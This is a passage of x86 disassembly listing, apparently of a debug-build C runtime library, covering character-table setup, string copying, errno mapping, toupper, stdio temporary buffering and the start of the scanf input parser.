mov edx, ds:dword_4F39E4
push edx
call sub_42EC50
add esp, 20h
mov [ebp+var_51C], 0
jmp short loc_4296D9
; ---------------------------------------------------------------------------
loc_4296CA: ; CODE XREF: sub_429560:loc_42978Fj
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4296D9: ; CODE XREF: sub_429560+168j
cmp [ebp+var_51C], 100h
jnb loc_429794
mov ecx, [ebp+var_51C]
xor edx, edx
mov dx, [ebp+ecx*2+var_204]
and edx, 1
test edx, edx
jz short loc_429736
mov eax, [ebp+var_51C]
mov cl, ds:byte_4F38E1[eax]
or cl, 10h
mov edx, [ebp+var_51C]
mov ds:byte_4F38E1[edx], cl
mov eax, [ebp+var_51C]
mov ecx, [ebp+var_51C]
mov dl, [ebp+ecx+var_418]
mov ds:byte_4F37E0[eax], dl
jmp short loc_42978F
; ---------------------------------------------------------------------------
loc_429736: ; CODE XREF: sub_429560+19Ej
mov eax, [ebp+var_51C]
xor ecx, ecx
mov cx, [ebp+eax*2+var_204]
and ecx, 2
test ecx, ecx
jz short loc_429782
mov edx, [ebp+var_51C]
mov al, ds:byte_4F38E1[edx]
or al, 20h
mov ecx, [ebp+var_51C]
mov ds:byte_4F38E1[ecx], al
mov edx, [ebp+var_51C]
mov eax, [ebp+var_51C]
mov cl, [ebp+eax+var_518]
mov ds:byte_4F37E0[edx], cl
jmp short loc_42978F
; ---------------------------------------------------------------------------
loc_429782: ; CODE XREF: sub_429560+1EBj
mov edx, [ebp+var_51C]
mov ds:byte_4F37E0[edx], 0
loc_42978F: ; CODE XREF: sub_429560+1D4j
; sub_429560+220j
jmp loc_4296CA
; ---------------------------------------------------------------------------
loc_429794: ; CODE XREF: sub_429560+183j
jmp loc_42985E
; ---------------------------------------------------------------------------
loc_429799: ; CODE XREF: sub_429560+20j
mov [ebp+var_51C], 0
jmp short loc_4297B4
; ---------------------------------------------------------------------------
loc_4297A5: ; CODE XREF: sub_429560:loc_429859j
mov eax, [ebp+var_51C]
add eax, 1
mov [ebp+var_51C], eax
loc_4297B4: ; CODE XREF: sub_429560+243j
cmp [ebp+var_51C], 100h
jnb loc_42985E
cmp [ebp+var_51C], 41h
jb short loc_429808
cmp [ebp+var_51C], 5Ah
ja short loc_429808
mov ecx, [ebp+var_51C]
mov dl, ds:byte_4F38E1[ecx]
or dl, 10h
mov eax, [ebp+var_51C]
mov ds:byte_4F38E1[eax], dl
mov ecx, [ebp+var_51C]
add ecx, 20h
mov edx, [ebp+var_51C]
mov ds:byte_4F37E0[edx], cl
jmp short loc_429859
; ---------------------------------------------------------------------------
loc_429808: ; CODE XREF: sub_429560+26Bj
; sub_429560+274j
cmp [ebp+var_51C], 61h
jb short loc_42984C
cmp [ebp+var_51C], 7Ah
ja short loc_42984C
mov eax, [ebp+var_51C]
mov cl, ds:byte_4F38E1[eax]
or cl, 20h
mov edx, [ebp+var_51C]
mov ds:byte_4F38E1[edx], cl
mov eax, [ebp+var_51C]
sub eax, 20h
mov ecx, [ebp+var_51C]
mov ds:byte_4F37E0[ecx], al
jmp short loc_429859
; ---------------------------------------------------------------------------
loc_42984C: ; CODE XREF: sub_429560+2AFj
; sub_429560+2B8j
mov edx, [ebp+var_51C]
mov ds:byte_4F37E0[edx], 0
loc_429859: ; CODE XREF: sub_429560+2A6j
; sub_429560+2EAj
jmp loc_4297A5
; ---------------------------------------------------------------------------
loc_42985E: ; CODE XREF: sub_429560:loc_429794j
; sub_429560+25Ej
mov esp, ebp
pop ebp
retn
sub_429560 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp ds:dword_4F37DC, 0
jz short loc_429883
mov eax, ds:dword_4F37CC
jmp short loc_429885
; ---------------------------------------------------------------------------
loc_429883: ; CODE XREF: _0:0042987Aj
xor eax, eax
loc_429885: ; CODE XREF: _0:00429881j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429890 proc near ; CODE XREF: sub_42F1D0+Dp
; sub_42F290+Fp ...
push ebp
mov ebp, esp
cmp ds:dword_4F4A2C, 0
jnz short loc_4298B0
push 0FFFFFFFDh
call sub_4290B0
add esp, 4
mov ds:dword_4F4A2C, 1
loc_4298B0: ; CODE XREF: sub_429890+Aj
pop ebp
retn
sub_429890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4298C0 proc near ; CODE XREF: sub_41ED30+41p
; sub_41ED30+11Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp ds:dword_4F37DC, 0
jnz short loc_4298EC
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41E510
add esp, 0Ch
jmp loc_4299E1
; ---------------------------------------------------------------------------
loc_4298EC: ; CODE XREF: sub_4298C0+11j
push 19h
call sub_423280
add esp, 4
loc_4298F6: ; CODE XREF: sub_4298C0:loc_4299AEj
cmp [ebp+arg_8], 0
jz loc_4299B3
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4F38E1[eax]
and ecx, 4
test ecx, ecx
jz short loc_429985
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_8], 0
jnz short loc_42994A
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-1], 0
jmp short loc_4299B3
; ---------------------------------------------------------------------------
loc_42994A: ; CODE XREF: sub_4298C0+7Fj
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test ecx, ecx
jnz short loc_429983
mov ecx, [ebp+arg_0]
mov byte ptr [ecx-2], 0
jmp short loc_4299B3
; ---------------------------------------------------------------------------
loc_429983: ; CODE XREF: sub_4298C0+B8j
jmp short loc_4299AE
; ---------------------------------------------------------------------------
loc_429985: ; CODE XREF: sub_4298C0+5Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
test eax, eax
jnz short loc_4299AE
jmp short loc_4299B3
; ---------------------------------------------------------------------------
loc_4299AE: ; CODE XREF: sub_4298C0:loc_429983j
; sub_4298C0+EAj
jmp loc_4298F6
; ---------------------------------------------------------------------------
loc_4299B3: ; CODE XREF: sub_4298C0+3Aj
; sub_4298C0+88j ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_4299D4
mov edx, [ebp+arg_0]
mov byte ptr [edx], 0
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4299B3
; ---------------------------------------------------------------------------
loc_4299D4: ; CODE XREF: sub_4298C0+101j
push 19h
call sub_423320
add esp, 4
mov eax, [ebp+var_4]
loc_4299E1: ; CODE XREF: sub_4298C0+27j
mov esp, ebp
pop ebp
retn
sub_4298C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4299F0 proc near ; CODE XREF: sub_41F470+2Ep
; sub_421420+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_429AA0
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov [ebp+var_4], 0
jmp short loc_429A10
; ---------------------------------------------------------------------------
loc_429A07: ; CODE XREF: sub_4299F0:loc_429A38j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_429A10: ; CODE XREF: sub_4299F0+15j
cmp [ebp+var_4], 2Dh
jnb short loc_429A3A
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, ds:dword_453F00[eax*8]
jnz short loc_429A38
call sub_429A90
mov edx, [ebp+var_4]
mov ecx, ds:dword_453F04[edx*8]
mov [eax], ecx
jmp short loc_429A7D
; ---------------------------------------------------------------------------
loc_429A38: ; CODE XREF: sub_4299F0+33j
jmp short loc_429A07
; ---------------------------------------------------------------------------
loc_429A3A: ; CODE XREF: sub_4299F0+24j
cmp [ebp+arg_0], 13h
jb short loc_429A53
cmp [ebp+arg_0], 24h
ja short loc_429A53
call sub_429A90
mov dword ptr [eax], 0Dh
jmp short loc_429A7D
; ---------------------------------------------------------------------------
loc_429A53: ; CODE XREF: sub_4299F0+4Ej
; sub_4299F0+54j
cmp [ebp+arg_0], 0BCh
jb short loc_429A72
cmp [ebp+arg_0], 0CAh
ja short loc_429A72
call sub_429A90
mov dword ptr [eax], 8
jmp short loc_429A7D
; ---------------------------------------------------------------------------
loc_429A72: ; CODE XREF: sub_4299F0+6Aj
; sub_4299F0+73j
call sub_429A90
mov dword ptr [eax], 16h
loc_429A7D: ; CODE XREF: sub_4299F0+46j
; sub_4299F0+61j ...
mov esp, ebp
pop ebp
retn
sub_4299F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A90 proc near ; CODE XREF: sub_41F110:loc_41F3E2p
; sub_421050:loc_4210ABp ...
push ebp
mov ebp, esp
call sub_428EE0
add eax, 8
pop ebp
retn
sub_429A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AA0 proc near ; CODE XREF: sub_421420+4Ap
; sub_422CB0+3Cp ...
push ebp
mov ebp, esp
call sub_428EE0
add eax, 0Ch
pop ebp
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AC0 proc near ; CODE XREF: sub_41F110+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4F33F8, 0
jnz short loc_429AE7
cmp [ebp+arg_0], 61h
jl short loc_429AE2
cmp [ebp+arg_0], 7Ah
jg short loc_429AE2
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_429AE2: ; CODE XREF: sub_429AC0+11j
; sub_429AC0+17j
mov eax, [ebp+arg_0]
jmp short loc_429B4F
; ---------------------------------------------------------------------------
loc_429AE7: ; CODE XREF: sub_429AC0+Bj
push offset dword_4F37C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp ds:dword_4F37C4, 0
jz short loc_429B19
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call sub_423280
add esp, 4
mov [ebp+var_4], 1
jmp short loc_429B20
; ---------------------------------------------------------------------------
loc_429B19: ; CODE XREF: sub_429AC0+39j
mov [ebp+var_4], 0
loc_429B20: ; CODE XREF: sub_429AC0+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_429B60
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_429B41
push 13h
call sub_423320
add esp, 4
jmp short loc_429B4C
; ---------------------------------------------------------------------------
loc_429B41: ; CODE XREF: sub_429AC0+73j
push offset dword_4F37C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_429B4C: ; CODE XREF: sub_429AC0+7Fj
mov eax, [ebp+arg_0]
loc_429B4F: ; CODE XREF: sub_429AC0+25j
mov esp, ebp
pop ebp
retn
sub_429AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B60 proc near ; CODE XREF: sub_429AC0+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4F33F8, 0
jnz short loc_429B8C
cmp [ebp+arg_0], 61h
jl short loc_429B84
cmp [ebp+arg_0], 7Ah
jg short loc_429B84
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_429B84: ; CODE XREF: sub_429B60+13j
; sub_429B60+19j
mov eax, [ebp+arg_0]
jmp loc_429C87
; ---------------------------------------------------------------------------
loc_429B8C: ; CODE XREF: sub_429B60+Dj
cmp [ebp+arg_0], 100h
jge short loc_429BD3
cmp ds:dword_453DF0, 1
jle short loc_429BB1
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_10], eax
jmp short loc_429BC5
; ---------------------------------------------------------------------------
loc_429BB1: ; CODE XREF: sub_429B60+3Cj
mov edx, [ebp+arg_0]
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_429BC5: ; CODE XREF: sub_429B60+4Fj
cmp [ebp+var_10], 0
jnz short loc_429BD3
mov eax, [ebp+arg_0]
jmp loc_429C87
; ---------------------------------------------------------------------------
loc_429BD3: ; CODE XREF: sub_429B60+33j
; sub_429B60+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_429C1C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429C1C: ; CODE XREF: sub_429B60+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_429C2D: ; CODE XREF: sub_429B60+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, ds:dword_4F33F8
push edx
call sub_42EC50
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_429C61
mov eax, [ebp+arg_0]
jmp short loc_429C87
; ---------------------------------------------------------------------------
loc_429C61: ; CODE XREF: sub_429B60+FAj
cmp [ebp+var_4], 1
jnz short loc_429C71
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_429C87
; ---------------------------------------------------------------------------
loc_429C71: ; CODE XREF: sub_429B60+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_429C87: ; CODE XREF: sub_429B60+27j
; sub_429B60+6Ej ...
mov esp, ebp
pop ebp
retn
sub_429B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429C90 proc near ; CODE XREF: sub_41F4E0+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_429C99: ; CODE XREF: sub_429C90+31j
cmp [ebp+arg_0], 0
jnz short loc_429CBD
push offset dword_43C514
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_429CBD
int 3 ; Trap to Debugger
loc_429CBD: ; CODE XREF: sub_429C90+Dj
; sub_429C90+2Aj
xor eax, eax
test eax, eax
jnz short loc_429C99
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_431A40
add esp, 4
test eax, eax
jnz short loc_429CE3
xor eax, eax
jmp loc_429DE0
; ---------------------------------------------------------------------------
loc_429CE3: ; CODE XREF: sub_429C90+4Aj
cmp [ebp+var_4], offset dword_451868
jnz short loc_429CF5
mov [ebp+var_8], 0
jmp short loc_429D0E
; ---------------------------------------------------------------------------
loc_429CF5: ; CODE XREF: sub_429C90+5Aj
cmp [ebp+var_4], offset dword_451888
jnz short loc_429D07
mov [ebp+var_8], 1
jmp short loc_429D0E
; ---------------------------------------------------------------------------
loc_429D07: ; CODE XREF: sub_429C90+6Cj
xor eax, eax
jmp loc_429DE0
; ---------------------------------------------------------------------------
loc_429D0E: ; CODE XREF: sub_429C90+63j
; sub_429C90+75j
mov ecx, ds:dword_4F336C
add ecx, 1
mov ds:dword_4F336C, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_429D33
xor eax, eax
jmp loc_429DE0
; ---------------------------------------------------------------------------
loc_429D33: ; CODE XREF: sub_429C90+9Aj
mov ecx, [ebp+var_8]
cmp ds:dword_4F33E8[ecx*4], 0
jnz short loc_429D9A
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_41BE70
add esp, 10h
mov edx, [ebp+var_8]
mov ds:dword_4F33E8[edx*4], eax
mov eax, [ebp+var_8]
cmp ds:dword_4F33E8[eax*4], 0
jnz short loc_429D9A
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_429DC9
; ---------------------------------------------------------------------------
loc_429D9A: ; CODE XREF: sub_429C90+AEj
; sub_429C90+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, ds:dword_4F33E8[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_429DC9: ; CODE XREF: sub_429C90+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_429DE0: ; CODE XREF: sub_429C90+4Ej
; sub_429C90+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429DF0 proc near ; CODE XREF: sub_41F4E0+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_429DF7: ; CODE XREF: sub_429DF0+38j
cmp [ebp+arg_0], 0
jz short loc_429E24
cmp [ebp+arg_0], 1
jz short loc_429E24
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_429E24
int 3 ; Trap to Debugger
loc_429E24: ; CODE XREF: sub_429DF0+Bj
; sub_429DF0+11j ...
xor eax, eax
test eax, eax
jnz short loc_429DF7
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_429E7D
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_429E7D
mov ecx, [ebp+var_4]
push ecx
call sub_422F20
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_429E7D: ; CODE XREF: sub_429DF0+44j
; sub_429DF0+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429DF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E90 proc near ; CODE XREF: sub_41FF30+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_429E9C: ; CODE XREF: sub_429E90+37j
cmp [ebp+arg_4], 0
jnz short loc_429EC3
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset aInput_c ; "input.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_429EC3
int 3 ; Trap to Debugger
loc_429EC3: ; CODE XREF: sub_429E90+10j
; sub_429E90+30j
xor eax, eax
test eax, eax
jnz short loc_429E9C
loc_429EC9: ; CODE XREF: sub_429E90+64j
cmp [ebp+arg_0], 0
jnz short loc_429EF0
push offset dword_43C504
push 0
push 10Ch
push offset aInput_c ; "input.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_429EF0
int 3 ; Trap to Debugger
loc_429EF0: ; CODE XREF: sub_429E90+3Dj
; sub_429E90+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_429EC9
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_429F07: ; CODE XREF: sub_429E90:loc_42B175j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_42B17A
cmp ds:dword_453DF0, 1
jle short loc_429F39
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_429F55
; ---------------------------------------------------------------------------
loc_429F39: ; CODE XREF: sub_429E90+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_429F55: ; CODE XREF: sub_429E90+A7j
cmp [ebp+var_1F8], 0
jz short loc_429FA3
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_42B350
add esp, 8
push eax
call sub_42B330
add esp, 8
loc_429F84: ; CODE XREF: sub_429E90+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_421940
add esp, 4
test eax, eax
jz short loc_429FA3
jmp short loc_429F84
; ---------------------------------------------------------------------------
loc_429FA3: ; CODE XREF: sub_429E90+CCj
; sub_429E90+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_42B05E
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_42A005: ; CODE XREF: sub_429E90:loc_42A15Dj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_42A162
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp ds:dword_453DF0, 1
jle short loc_42A049
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_42A066
; ---------------------------------------------------------------------------
loc_42A049: ; CODE XREF: sub_429E90+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_42A066: ; CODE XREF: sub_429E90+1B7j
cmp [ebp+var_1FC], 0
jz short loc_42A096
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_42A15D
; ---------------------------------------------------------------------------
loc_42A096: ; CODE XREF: sub_429E90+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_42A155
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, byte_42B1D8[edx]
jmp off_42B1B8[ecx*4]
loc_42A0D0: ; DATA XREF: _0:0042B1BCo
jmp loc_42A15D
; ---------------------------------------------------------------------------
loc_42A0D5: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:0042B1C8o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_42A15D
; ---------------------------------------------------------------------------
loc_42A0E8: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:0042B1C0o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_42A12A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_42A12A
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_42A15D
; ---------------------------------------------------------------------------
loc_42A12A: ; CODE XREF: sub_429E90+263j
; sub_429E90+270j
jmp short loc_42A155
; ---------------------------------------------------------------------------
loc_42A12C: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:0042B1C4o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_42A15D
; ---------------------------------------------------------------------------
loc_42A137: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:0042B1CCo
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_42A13F: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:0042B1D0o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_42A15D
; ---------------------------------------------------------------------------
loc_42A14A: ; CODE XREF: sub_429E90+239j
; DATA XREF: _0:off_42B1B8o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_42A15D
; ---------------------------------------------------------------------------
loc_42A155: ; CODE XREF: sub_429E90+225j
; sub_429E90+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42A15D: ; CODE XREF: sub_429E90+201j
; sub_429E90:loc_42A0D0j ...
jmp loc_42A005
; ---------------------------------------------------------------------------
loc_42A162: ; CODE XREF: sub_429E90+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_42A185
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
